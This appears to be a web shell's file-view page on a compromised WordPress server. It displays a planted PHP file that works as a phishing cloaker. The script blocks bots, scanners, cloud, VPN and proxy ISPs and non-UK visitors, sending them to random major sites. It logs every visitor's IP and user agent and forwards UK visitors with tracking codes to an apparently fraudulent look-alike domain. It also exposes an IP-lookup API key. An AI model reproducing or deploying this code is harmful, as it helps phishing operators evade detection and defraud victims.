HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux srvntsweb01 6.8.0-55-generic #57-Ubuntu SMP PREEMPT_DYNAMIC Wed Feb 12 23:42:21 UTC 2025 x86_64
User: admntserv (1000)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/ethnikamauricia.com/wp-content/plugins/themes/index.php
<?php
ob_start();
date_default_timezone_set('Europe/London');

$redirect_link = "https://automobileroadcompliance.com/";
$log_file = __DIR__ . "/logs.txt";
$allowed_countries = ['United Kingdom'];
$blocked_keywords = [
    'amazon', 'aws', 'google', 'gcp', 'microsoft', 'azure', 'ovh', 'digitalocean', 'do-', 'hetzner', 'linode',
    'contabo', 'oracle', 'cloud', 'cloudflare', 'cdn', 'akamai', 'fastly', 'vercel', 'render', 'fly.io', 'upcloud',
    'scaleway', 'vultr', 'packet', 'nocix', 'leaseweb', 'datacamp', 'sharktech', 'colo', 'kdatacenter', 'ipxo',
    'rfc1918', 'ipv6', 'host', 'hosting', 'server', 'servers', 'data center', 'data-center', 'seedbox',
    'liquidweb', 'softlayer', 'online.net', 'kimsufi', 'netprotect', 'anonymizer', 'privado', 'purevpn',
    'surfshark', 'nordvpn', 'expressvpn', 'hide.me', 'openvpn', 'pia', 'airvpn', 'protonvpn', 'cyberghost',
    'tor', 'exit node', 'vpn', 'proxy', 'tunnel', 'scraper', 'crawler', 'scanner', 'residential', 'ipqualityscore',
    'brightdata', 'oxylabs', 'smartproxy', 'luminati', 'residential proxy', 'datacenter proxy', 'crawlera',
    'zenrows', 'scrapinghub', 'scrapingbee', 'serpapi', 'apify', 'zyte'
];

$bot_patterns = [
    'curl', 'wget', 'python', 'python-requests', 'libwww', 'httpclient', 'aiohttp', 'urllib', 'mechanize',
    'node-fetch', 'axios', 'go-http-client', 'okhttp', 'cfnetwork', 'java', 'jakarta', 'fetch', 'http-request',
    'postmanruntime', 'insomnia', 'powershell', 'httpx', 'ruby', 'perl', 'php', 'bot', 'crawler', 'spider', 'scraper',
    'headless', 'phantomjs', 'screaming frog', 'puppeteer', 'playwright', 'slimerjs', 'selenium', 'ghost', 'htmlunit',
    'googlebot', 'bingbot', 'yahoo! slurp', 'yandexbot', 'duckduckbot', 'baiduspider', 'sogou', 'exabot',
    'facebookexternalhit', 'facebot', 'twitterbot', 'linkedinbot', 'embedly', 'quora link preview', 'pinterest',
    'slackbot', 'vkshare', 'rogerbot', 'ahrefs', 'mj12bot', 'semrush', 'dotbot', 'petalbot', 'bytespider', 'serpstatbot',
    'seekport', 'seznambot', 'meta', 'curl', 'scrapy', 'crawlera', 'zyte', 'zenrows', 'apify', 'scrapinghub', 'serpapi'
];


function redirect_to_random_site_and_exit() {
    $random_sites = [
        'https://www.google.com',
        'https://www.gmail.com',
        'https://www.yahoo.com',
        'https://www.hotmail.com',
        'https://www.outlook.com',
        'https://www.bing.com',
        'https://www.duckduckgo.com',
        'https://www.youtube.com',
        'https://www.facebook.com',
        'https://www.twitter.com',
        'https://www.instagram.com',
        'https://www.linkedin.com',
        'https://www.tiktok.com',
        'https://www.reddit.com',
        'https://www.amazon.com',
        'https://www.ebay.com',
        'https://www.netflix.com',
        'https://www.spotify.com',
        'https://www.apple.com',
        'https://www.microsoft.com'
    ];
    $random_url = $random_sites[array_rand($random_sites)];
    header("Location: $random_url");
    exit;
}

function get_client_ip() {
    $keys = ['HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $iplist = explode(',', $_SERVER[$key]);
            return trim($iplist[0]);
        }
    }
    return 'UNKNOWN';
}

if (empty($_COOKIE['js_verified'])) {
    echo "<html><head><script>
        document.cookie = 'js_verified=1; path=/';
        window.location.reload();
    </script></head><body>
    <noscript><meta http-equiv='refresh' content='0;url=https://www.google.com/'></noscript>
    </body></html>";
    exit;
}

$ip = get_client_ip();
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? 'unknown');

foreach ($bot_patterns as $bot) {
    if (strpos($user_agent, $bot) !== false) {
        file_put_contents($log_file, "[BOT BLOCKED] $ip | UA: $user_agent | " . date("Y-m-d H:i:s") . PHP_EOL, FILE_APPEND);
        redirect_to_random_site_and_exit();
    }
}

$country = 'Unknown';
$isp = 'Unknown';
$api_key = '50q5HhLY51NGOVg';
$api_url = "https://pro.ip-api.com/json/{$ip}?fields=country,isp,status&key={$api_key}";

$response = @file_get_contents($api_url);
if ($response !== false) {
    $data = json_decode($response, true);
    if (!empty($data) && $data['status'] === 'success') {
        $country = $data['country'] ?? 'Unknown';
        $isp = strtolower($data['isp'] ?? 'Unknown');
    }
}

$date = date("Y-m-d H:i:s");

foreach ($blocked_keywords as $keyword) {
    if (strpos($isp, $keyword) !== false || strpos($user_agent, $keyword) !== false) {
        file_put_contents($log_file, "[BLOCKED ISP] $ip | ISP: $isp | Country: $country | $date | UA: $user_agent\n", FILE_APPEND);
        redirect_to_random_site_and_exit();
    }
}

if (!in_array($country, $allowed_countries, true)) {
    file_put_contents($log_file, "[BLOCKED COUNTRY] $ip | Country: $country | ISP: $isp | $date | UA: $user_agent\n", FILE_APPEND);
    redirect_to_random_site_and_exit();
}

file_put_contents($log_file, "[ALLOWED] $ip | Country: $country | ISP: $isp | $date | UA: $user_agent\n", FILE_APPEND);

$unique_code = bin2hex(random_bytes(200)); // 400 characters

if (!headers_sent()) {
    if (!empty($_GET['userid'])) {
        $user_id = urlencode($_GET['userid']);
        header("Location: {$redirect_link}?code={$user_id}&code={$unique_code}");
    } else {
        header("Location: {$redirect_link}?ref={$unique_code}");
    }
}
exit;
?>